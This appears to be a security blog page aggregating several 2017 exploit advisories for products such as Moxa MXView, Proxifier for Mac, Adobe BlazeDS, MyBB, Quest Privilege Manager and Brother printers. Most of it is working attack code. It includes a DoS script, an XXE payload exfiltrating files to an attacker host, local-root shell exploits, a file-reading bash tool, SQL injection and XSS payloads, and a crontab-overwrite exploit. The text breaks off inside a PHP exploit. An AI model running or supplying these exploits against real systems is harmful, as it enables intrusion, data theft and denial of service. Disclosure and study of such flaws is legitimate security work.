[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec
Vendor:
============
www.moxa.com
Product:
===========
MXView v2.8
Download:
http://www.moxa.com/product/MXstudio.htm
MXview Industrial Network Management Software.
Auto discovery of network devices and physical connections
Event playback for quick troubleshooting
Color-coded VLAN/IGMP groups and other visualized network data
Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere.
Vulnerability Type:
===================
Denial Of Service
CVE Reference:
==============
CVE-2017-7456
Security Issue:
================
Remote attackers can DOS MXView server by sending large string of junk characters for the user ID and password field login credentials.
Exploit/POC:
=============
import urllib,urllib2
print 'Moxa MXview v2.8 web interface DOS'
print 'hyp3rlinx'
IP=raw_input("[Moxa MXView IP]>")
PAYLOAD="A"*200000000
url = 'http://'+IP+'/goform/account'
data = urllib.urlencode({'uid' : PAYLOAD, 'pwd' : PAYLOAD, 'action' : 'login'})
while 1:
req = urllib2.Request(url, data)
res = urllib2.urlopen(req)
print res
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
==========================================================
Vendor Notification: March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863530231
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
[+] Credits: John Page AKA HYP3RLINX
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MX-AOPC-SERVER-v1.5-XML-EXTERNAL-ENTITY.txt
[+] ISR: ApparitionSec
Vendor:
============
www.moxa.com
Product:
=======================
MX-AOPC UA SERVER - 1.5
Moxa's MX-AOPC UA Suite is the first OPC UA server for industrial automation supporting both push and pull communication.
Vulnerability Type:
==============================
XML External Entity Injection
CVE Reference:
==============
CVE-2017-7457
Security Issue:
================
XML External Entity via ".AOP" files used by MX-AOPC Server result in remote file disclosure. If local user opens
a specially crafted malicious MX-AOPC Server file type.
Exploit/POC:
=============
run MX-AOPC UA Server / Runtime / Start Server Runtime Service
a) ATTACKER SERVER LISTENER we will access Windows msfmap.ini as proof of concept
python -m SimpleHTTPServer 8080
"Evil.AOP" file
<?xml version="1.0"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>
b) Evil "payload.dtd" file host on ATTACKER SERVER
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">
%all;
e.g.
python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /payload.dtd HTTP/1.1" 200 -
VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /?;[connect%20name]%20will%20modify%20the%20connection%20if%20ADC.connect="name";[connect%20default]%20will%20modify%20the%20connection%20if%20name%20is%20not%20found;[sql%20name]%20will%20modify%20the%20Sql%20if%20ADC.sql="name(args)";[sql%20default]%20will%20modify%20the%20Sql%20if%20name%20is%20not%20found;Override%20strings:%20Connect,%20UserId,%20Password,%20Sql.;Only%20the%20Sql%20strings%20support%20parameters%20using%20"?";The%20override%20strings%20must%20not%20equal%20""%20or%20they%20are%20ignored;A%20Sql%20entry%20must%20exist%20in%20each%20sql%20section%20or%20the%20section%20is%20ignored;An%20Access%20entry%20must%20exist%20in%20each%20connect%20section%20or%20the%20section%20is%20ignored;Access=NoAccess;Access=ReadOnly;Access=ReadWrite;[userlist%20name]%20allows%20specific%20users%20to%20have%20special%20access;The%20Access%20is%20computed%20as%20follows:;%20%20(1)%20First%20take%20the%20access%20of%20the%20connect%20section.;%20%20(2)%20If%20a%20user%20entry%20is%20found,%20it%20will%20override.[connect%20default];If%20we%20want%20to%20disable%20unknown%20connect%20values,%20we%20set%20Access%20to%20NoAccessAccess=NoAccess[sql%20default];If%20we%20want%20to%20disable%20unknown%20sql%20values,%20we%20set%20Sql%20to%20an%20invalid%20query.Sql="%20"[connect%20CustomerDatabase]Access=ReadWriteConnect="DSN=AdvWorks"[sql%20CustomerById]Sql="SELECT%20*%20FROM%20Customers%20WHERE%20CustomerID%20=%20?"[connect%20AuthorDatabase]Access=ReadOnlyConnect="DSN=MyLibraryInfo;UID=MyUserID;PWD=MyPassword"[userlist%20AuthorDatabase]Administrator=ReadWrite[sql%20AuthorById]Sql="SELECT%20*%20FROM%20Authors%20WHERE%20au_id%20=%20?" HTTP/1.1" 200 -
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
==========================================================
Vendor Notification: March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
Source: https://www.securify.nl/advisory/SFY20170401/multiple_local_privilege_escalation_vulnerabilities_in_proxifier_for_mac.html
Abstract
Multiple local privileges escalation vulnerabilities were found in the KLoader binary that ships with Proxifier. KLoader is responsible for loading a Kernel Extension (kext). KLoader is installed setuid root, it accepts one or two command line arguments that are used in a number of system commands. These arguments are used in an insecure manner allowing a local attacker to elevate its privileges. In addition, the environment is not properly sanitized, which also introduces a possibility to run arbitrary commands with elevated privileges.
Tested versions
These issues were successfully verified on Proxifier for Mac v2.18.
Fix
Proxifier v2.19 was released that addresses these issues.
Introduction
Proxifier is a program that allows network applications that do not support proxy servers to operate through a SOCKS or HTTPS proxy or a chain of proxy servers. Multiple privilege escalation vulnerabilities were found in the KLoader binary that ships with Proxifier. These vulnerabilities allow a local user to gain elevated privileges (root).
KLoader is responsible for loading the ProxifierS.kext Kernel Extension (kext). Loading kext files requires root privileges. Because of this the setuid bit is set on this binary when Proxifier is started for the first time. KLoader accepts one or two command line arguments that are used in a number of system commands. These arguments are used in an insecure manner allowing a local attacker to elevate its privileges. In addition, the environment is not properly sanitized, which also introduces a possibility to run arbitrary commands with elevated privileges.
Unsanitized PATH environment variable
The KLoader binary executes a number of system commands. The commands are executed from a relative path. The PATH environment variable is not sanitized before these commands are run. The PATH variable is changed by KLoader, but all that happens is that a hardcoded path is appended to current value of PATH. Due to this, it is possible for a local attacker to set an arbitrary PATH variable such that the attacker's folder is search first. Commands that are started from a relative path - and thus allow for privileges escalation - include:
- cp
- mkdir
- tar
- kextstat
- kextload
Proof of concept
cd /tmp
export PATH=.:$PATH
echo -e "#/bin/bash\nid" > cp
chmod +x cp
/Applications/Proxifier.app/Contents/KLoader lpe
Command injection in KLoader
The command line arguments that are passed to Kloader are not validated and/or sanitized. These arguments are used as-is when construction system commands. This allows an local attacker to cause Kloader to execute arbitrary commands with root privileges.
Proof of concept
$ /Applications/Proxifier.app/Contents/KLoader ';id #'
usage: cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file target_file
cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file ... target_directory
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),[...]
Loading of arbitrary kext files
The main purpose of KLoader is to load ProxifierS.kext. The first command line argument is the path to the kext file, which normally is /Applications/Proxifier.app/Contents/ProxifierS.kext/. However since the first argument can be fully controlled by an attacker it is actually possible for a local unprivileged user to load any arbitrary kext file. The proof of concept below tries to OSXPMem Kernel Extension from the Rekall Forensic Framework.
Proof of concept
curl -L https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip --output osxpmem-2.1.post4.zip
unzip osxpmem-2.1.post4.zip
cd osxpmem.app/MacPmem.kext/
tar cvzf lpe.tar.gz Contents/
/Applications/Proxifier.app/Contents/KLoader lpe.tar.gz
kextstat -l -b com.google.MacPmem
# Source: https://m4.rkw.io/blog/cve20177643-local-root-privesc-in-proxifier-for-mac--218.html
Proxifier 2.18 (also 2.17 and possibly some earlier version) ships with a
KLoader binary which it installs suid root the first time Proxifier is run. This
binary serves a single purpose which is to load and unload Proxifier's kernel
extension.
Unfortunately it does this by taking the first parameter passed to it on the
commandline without any sanitisation and feeding it straight into system().
This means not only can you load any arbitrary kext as a non-root user but you
can also get a local root shell.
Although this is a bit of a terrible bug that shouldn't be happening in 2017,
Proxifier's developers fixed the issue in record time so that's something!
Everyone using Proxifier for Mac should update to 2.19 as soon as possible.
https://m4.rkw.io/proxifier_privesc.sh.txt
6040180f672a2b70511a483e4996d784f03e04c624a8c4e01e71f50709ab77c3
-------------------------------------------------------------------
#!/bin/bash
#####################################################################
# Local root exploit for vulnerable KLoader binary distributed with #
# Proxifier for Mac v2.18 #
#####################################################################
# by m4rkw #
#####################################################################
cat > a.c <<EOF
#include <stdio.h>
#include <unistd.h>
int main()
{
setuid(0);
seteuid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
EOF
gcc -o /tmp/a a.c
rm -f a.c
/Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel /tmp/a ; chmod 4755 /tmp/a'
/tmp/a
-------------------------------------------------------------------
#!/bin/bash
#
# Exploit Title: Adobe XML Injection file content disclosure
# Date: 07-04-2017
# Exploit Author: Thomas Sluyter
# Website: https://www.kilala.nl
# Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html
# Version: Multiple Adobe products
# Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise
# CVE : 2009-3960
#
# Shell script that let's you exploit a known XML injection vulnerability
# in a number of Adobe products, allowing you to read files that are otherwise
# inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject
# This script is a Bash implementation of the PoC multiple/dos/11529.txt.
#
# According to the original Metasploit code, this attack works with:
# "Multiple Adobe Products: BlazeDS 3.2 and earlier versions,
# LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1,
# and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2"
#
PROGNAME="$(basename $0)" # This script
TIMESTAMP=$(date +%y%m%d%H%M) # Used for scratchfiles
SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}" # Used as generic scratchfile
EXITCODE="0" # Assume success, changes on errors
CURL="/usr/bin/curl" # Other locations are detected with "which"
SSL="0" # Overridden by -s
DEBUG="0" # Overridden by -d
BREAKFOUND="0" # Overridden by -b
TARGETHOST="" # Overridden by -h
TARGETPORT="8400" # Overridden by -p
READFILE="/etc/passwd" # Overridden by -f
################################## OVERHEAD SECTION
#
# Various functions for overhead purposes.
#
# Defining our own logger function, so we can switch between stdout and syslog.
logger() {
LEVEL="$1"
MESSAGE="$2"
# You may switch the following two, if you need to log to syslog.
#[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE"
[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE"
}
ExitCleanup() {
EXITCODE=${1}
rm -f ${SCRATCHFILE}* >/dev/null 2>&1
echo ""
exit ${EXITCODE}
}
# Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script
ValidIP() {
local IP=${1}
local STAT=1
if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]
then
OIFS=$IFS; IFS='.'
IP=(${IP})
IFS=$OIFS
[[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]]
stat=$?
fi
return $stat
}
# Function to output help information.
show-help() {
echo ""
cat << EOF
${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file]
-? Show this help message.
-d Debug mode, outputs more kruft on stdout.
-s Use SSL / HTTPS, instead of HTTP.
-b Break on the first valid answer found.
-h Target host
-p Target port, defaults to 8400.
-f Full path to file to grab, defaults to /etc/passwd.
This script exploits a known vulnerability in a set of Adobe applications. Using one
of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is
normally inaccessible.
NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example:
${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties
${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties'
This script relies on CURL, so please have it in your PATH.
EOF
}
# Parsing and verifying the passed parameters.
OPTIND=1
while getopts "?dsbh:p:f:" opt; do
case "$opt" in
\?) show-help; ExitCleanup 0 ;;
d) DEBUG="1" ;;
s) SSL="1" ;;
b) BREAKFOUND="1" ;;
h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
ValidIP ${OPTARG}; if [[ $? -eq 0 ]]
then TARGETHOST=${OPTARG}
else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}')
[[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1)
fi ;;
p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]]
then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1
else TARGETPORT=${OPTARG}
fi ;;
f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]]
then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1
else READFILE=${OPTARG}
fi ;;
*) show-help; ExitCleanup 0 ;;
esac
done
[[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1)
[[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1)
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}."
################################## GETTING TO WORK
#
#
PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \
"/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \
"/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \
"/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \
"/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \
"/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \
"/lcds-samples/messagebroker/httpsecure")
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>" > ${SCRATCHFILE}
echo "<!DOCTYPE test [ <!ENTITY x3 SYSTEM \"${READFILE}\"> ]>" >> ${SCRATCHFILE}
echo "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">" >> ${SCRATCHFILE}
echo "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>" >> ${SCRATCHFILE}
echo "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>" >> ${SCRATCHFILE}
echo "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>" >> ${SCRATCHFILE}
echo "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>" >> ${SCRATCHFILE}
echo "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>" >> ${SCRATCHFILE}
echo "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>" >> ${SCRATCHFILE}
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "XML file sent to target host reads as follows:"
echo "======================================"
cat ${SCRATCHFILE}
echo "======================================"
echo ""
fi
let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1
for ADOBEPATH in "${PATHLIST[@]}"
do
[[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http"
URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}"
# Header contents based on a tcpdump capture of original exploit being
# run from Metasploit.
HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\""
CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}"
# The tr command dikes out any non-ASCII characters which might mess with output.
CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1)
# Output is pretty garbled and the HTTP return code is enclosed in double quotes.
# I need to grab the last 5 chars (includes NULL EOF) and remove the ".
CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:])
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}."
logger DEBUG "Output from CURL reads as follows:"
echo "======================================"
echo "${CURLOUTPUT}"
echo "======================================"
echo ""
fi
logger INFO "${CURLCODE} for ${URI}"
if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "<?xml version=")) ]]
then
echo "Read from ${URI}:"
echo "${CURLOUTPUT}" | sed 's/^[^<]*</</'
[[ ${BREAKFOUND} -gt 0 ]] && ExitCleanup 0
fi
if [[ ${DEBUG} -gt 0 ]]
then
echo -e "\nReady to continue with the next URI? [y/n]: \c"
read READY
case ${READY} in
y|Y|yes) logger DEBUG "Moving to next URI."; echo "" ;;
*) logger DEBUG "Aborting..."; ExitCleanup 1 ;;
esac
fi
done
ExitCleanup 0
# # # # #
# Exploit Title: Classified Portal Software 5.1 - SQL Injection
# Google Dork: N/A
# Date: 11.04.2017
# Vendor Homepage: http://www.myclassifiedscript.com/
# Software: http://www.myclassifiedscript.com/demo.html
# Demo: http://www.clpage.com/
# Version: 5.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search-result.php?keyword=&ad_id=222&cat_level_root=4&cat_level_one=&cat_level_two=&classi_ad_type=[SQL]&sub.x=46&sub.y=8&searchkey=search_record
# http://localhost/[PATH]/search-result.php?keyword=&ad_id=[SQL]&cat_level_root=4&cat_level_one=&cat_level_two=&classi_ad_type=&sub.x=46&sub.y=8&searchkey=search_record
# Etc...
# # # # #
=============================================
MGC ALERT 2017-003
- Original release date: April 06, 2017
- Last revised: April 10, 2017
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================
I. VULNERABILITY
-------------------------
WordPress Plugin Spider Event Calendar 1.5.51 - Blind SQL Injection
II. BACKGROUND
-------------------------
WordPress event calendar is a FREE user-friendly responsive plugin to
manage multiple recurring events and with various options.
III. DESCRIPTION
-------------------------
This bug was found using the portal in the files:
/spider-event-calendar/calendar_functions.php: if
(isset($_POST['order_by'])) {
/spider-event-calendar/widget_Theme_functions.php: if
(isset($_POST['order_by']) && $_POST['order_by'] != '') {
And when the query is executed, the parameter "order_by" it is not
sanitized:
/spider-event-calendar/front_end/frontend_functions.php: $rows =
$wpdb->get_results($query." ".$order_by);
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.
It is possible to inject SQL code.
IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from Time Based SQL
Injection.
Time Based SQL Injection POC:
POST /wordpress/wp-admin/admin.php?page=SpiderCalendar HTTP/1.1
search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(2)))a)
(2 seconds of response)
search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(30)))a)
(30 seconds of response)
V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.
VI. SYSTEMS AFFECTED
-------------------------
Spider Event Calendar <= 1.5.51
VII. SOLUTION
-------------------------
Vendor release a new version.
https://downloads.wordpress.org/plugin/spider-event-calendar.1.5.52.zip
VIII. REFERENCES
-------------------------
https://es.wordpress.org/plugins/spider-event-calendar/
IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
X. REVISION HISTORY
-------------------------
April 06, 2017 1: Initial release
April 10, 2017 2: Revision to send to lists
XI. DISCLOSURE TIMELINE
-------------------------
April 06, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
April 06, 2017 2: Send to vendor
April 07, 2017 3: Vendor fix the vulnerability and release a new version
April 10, 2017 4: Send to the Full-Disclosure lists
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
# # # # #
# Exploit Title: Social Directory Script 2.0 - SQL Injection
# Google Dork: N/A
# Date: 11.04.2017
# Vendor Homepage: http://www.phponly.com/
# Software: http://www.phponly.com/Social-Directory.html
# Demo: http://www.phponly.com/demo/link/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?subcategory=[SQL]
# http://localhost/[PATH]/searchtopic.php?search=[SQL]
# http://localhost/[PATH]/index.php?category=[SQL]
# phponly_link_admin:id
# phponly_link_admin:username
# phponly_link_admin:password
# # # # #
# # # # #
# Exploit Title: FAQ Script 3.1.3 - SQL Injection
# Google Dork: N/A
# Date: 11.04.2017
# Vendor Homepage: http://www.phponly.com/
# Software: http://www.phponly.com/faq.html
# Demo: http://www.phponly.com/demo/faq/
# Version: 3.1.3
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/home/categorySearch?category_id=[SQL]
# # # # #
Description:
============
product:MyBB
Homepage:https://mybb.com/
vulnerable version:<1.8.11
Severity:High risk
===============
Proof of Concept:
=============
1.post a thread or reply any thread ,write:
[email=2"onmouseover="alert(document.location)]hover me[/email]
then when user’s mouse hover it,XSS attack will occur!
============
Fixed:
============
This vulnerability was fixed in version 1.8.11
https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/
=============
#!/usr/bin/env python2
"""
# Exploit Title: Quest Privilege Manager pmmasterd Arbitrary File Write
# Date: 10/Mar/2017
# Exploit Author: m0t
# Vendor Homepage: https://www.quest.com/products/privilege-manager-for-unix/
# Version: 6.0.0-27, 6.0.0-50
# Tested on: ubuntu 14.04 x86_64, ubuntu 16.04 x86, ubuntu 12.04 x86
# CVE : 2017-6554
REQUIREMENTS
- Root privs are required to bind a privileged source port
- python hexdump: pip install hexdump
This PoC gains arbitrary command execution by overwriting /etc/crontab
In case of successful exploitation /etc/crontab will contain the following line
* * * * * root touch /tmp/pwned
"""
import binascii as b
import hexdump as h
import struct
import sys
import socket
from Crypto.Cipher import AES
cipher=None
def create_enc_packet(action, len1=None, len2=None, body=None):
global cipher
if body == None:
body_raw = b.unhexlify("50696e6745342e362e302e302e32372e")
else:
body_raw = b.unhexlify(body)
#pad
if len(body_raw) % 16 != 0:
body_raw += "\x00" * (16 - (len(body_raw) % 16))
enc_body = cipher.encrypt(body_raw)
if len1 == None:
len1 = len(body_raw)
if len2 == None:
len2 = len(enc_body)
head = struct.pack('>I', action) + struct.pack('>I', len1) + struct.pack('>I', len2) + '\x00'*68
return head+enc_body
def decrypt_packet(packet):
global cipher
return cipher.decrypt(packet[80:])
def create_packet(action, len1=None, len2=None, body=None):
if body == None:
body = "50696e6745342e362e302e302e32372e"
if len1 == None:
len1 = len(body)/2
if len2 == None:
len2 = len1
head = struct.pack('>I', action) + struct.pack('>I', len1) + struct.pack('>I', len2) + '\x00'*68
return head+b.unhexlify(body)
#extract action code from first 4b, return action found
def get_action(packet):
code = struct.unpack('>I',packet[:4])[0]
return code
def generate_aes_key(buf):
some_AES_bytes = [
0xDF, 0x4E, 0x34, 0x05, 0xF4, 0x4D, 0x19, 0x22, 0x98, 0x4F,
0x58, 0x62, 0x2C, 0x2A, 0x54, 0x42, 0xAA, 0x76, 0x53, 0xD4,
0xF9, 0xDC, 0x98, 0x90, 0x23, 0x49, 0x71, 0x12, 0xEA, 0x33,
0x12, 0x63
];
retbuf = ""
if len(buf) < 0x20:
print("[-] initial key buffer too small, that's bad")
return None
for i in range(0x20):
retbuf+= chr(ord(buf[i])^some_AES_bytes[i])
return retbuf
def main():
global cipher
if len(sys.argv) < 2:
print("usage: %s <target ip> [<sport>]" % sys.argv[0])
sys.exit(-1)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if len(sys.argv) > 2:
sport = int(sys.argv[2])
else:
sport = 666
s.bind(("0.0.0.0", sport))
s.connect((sys.argv[1], 12345))
try:
s.send(create_packet(0xfa, body=b.hexlify("/etc/crontab")))
#s.send(create_packet(0x134))
print("[+] sent ACT_NEWFILESENT")
resp=s.recv(1024)
h.hexdump(resp)
action=get_action(resp)
if action == 212:
print("[+] server returned 212, this is a good sign, press Enter to continue")
else:
print("[-] server returned %d, exploit will probably fail, press CTRL-C to exit or Enter to continue" % action)
sys.stdin.readline()
print("[+] exchanging DH pars")
dh="\x00"*63+"\x02"
s.send(dh)
dh=s.recv(1024)
h.hexdump(dh)
aes_key = generate_aes_key(dh)
print("[+] got AES key below:")
h.hexdump(aes_key)
cipher=AES.new(aes_key)
print("[+] press Enter to continue")
sys.stdin.readline()
print("[+] sending:")
enc=create_enc_packet(0xfb, body=b.hexlify("* * * * * root touch /tmp/pwned\n"))
h.hexdump(enc)
s.send(enc )
enc=create_enc_packet(0xfc, body="")
h.hexdump(enc)
s.send(enc )
print("[+] got:")
resp=s.recv(1024)
h.hexdump(resp)
print("[+] trying decrypt")
h.hexdump(decrypt_packet(resp))
s.close()
except KeyboardInterrupt:
s.close()
exit(-1)
main()
Description:
============
product: MyBB
Homepage: https://mybb.com/
vulnerable version: < 1.8.11
Severity: Low risk
===============
Proof of Concept:
=============
vulnerability address:http://127.0.0.1/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple
vulnerability file directory:/webroot/mybb_1810/Upload/admin/modules/config/smilies.php
vulnerability Code:
Line 326 $path = $mybb->input['pathfolder'];
Line 327 $dir = @opendir(MYBB_ROOT.$path);
if we input "pathfolder" to "../../bypass/smile",Directory Traversal success!
============
Fixed:
============
This vulnerability was fixed in version 1.8.11
https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/
=============
<?php
/*
# Title: Brother Devices Web Auth Bypass / Change Password Exploit
# Vendor: Brother (http://www.brother.com/)
# Affected models: Most of Brother devices from MFC, DCP, HL & ADS Series - see vulnerable models below for more info
# Release date: 11.04.2017
# CVE: CVE-2017-7588
# Author: Patryk Bogdan (@patryk_bogdan)
--
Description:
Most of Brother devices web authorization can be bypassed through trivial bug in login proccess.
Even after failed login attempt, in http response headers appears valid authorization cookie.
PoC for MFC-J6520DW:
usr@lnx:~# curl -sD - --data "B734=xyz&loginurl=%2Fgeneral%2Fstatus.html" http://192.168.1.111/general/status.html -o /dev/null | grep Cookie
Set-Cookie: AuthCookie=c243a9ee18a9327bfd419f31e75e71c7; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/;
--
Modes:
silent: Gives authorized cookie without changing password, so you can login without getting noticed.
changepass: Change login password to the one you provided.
Note:
Authorization cookie is fixed and it is created as following:
Plaintext password --> ASCII hex --> md5
(e.g. AuthCookie=c243a9ee18a9327bfd419f31e75e71c7 for 'test' password)
This information can be used to crack current password from exported cookie.
Fix:
Minimize network access to Brother MFC device or disable HTTP(S) interface.
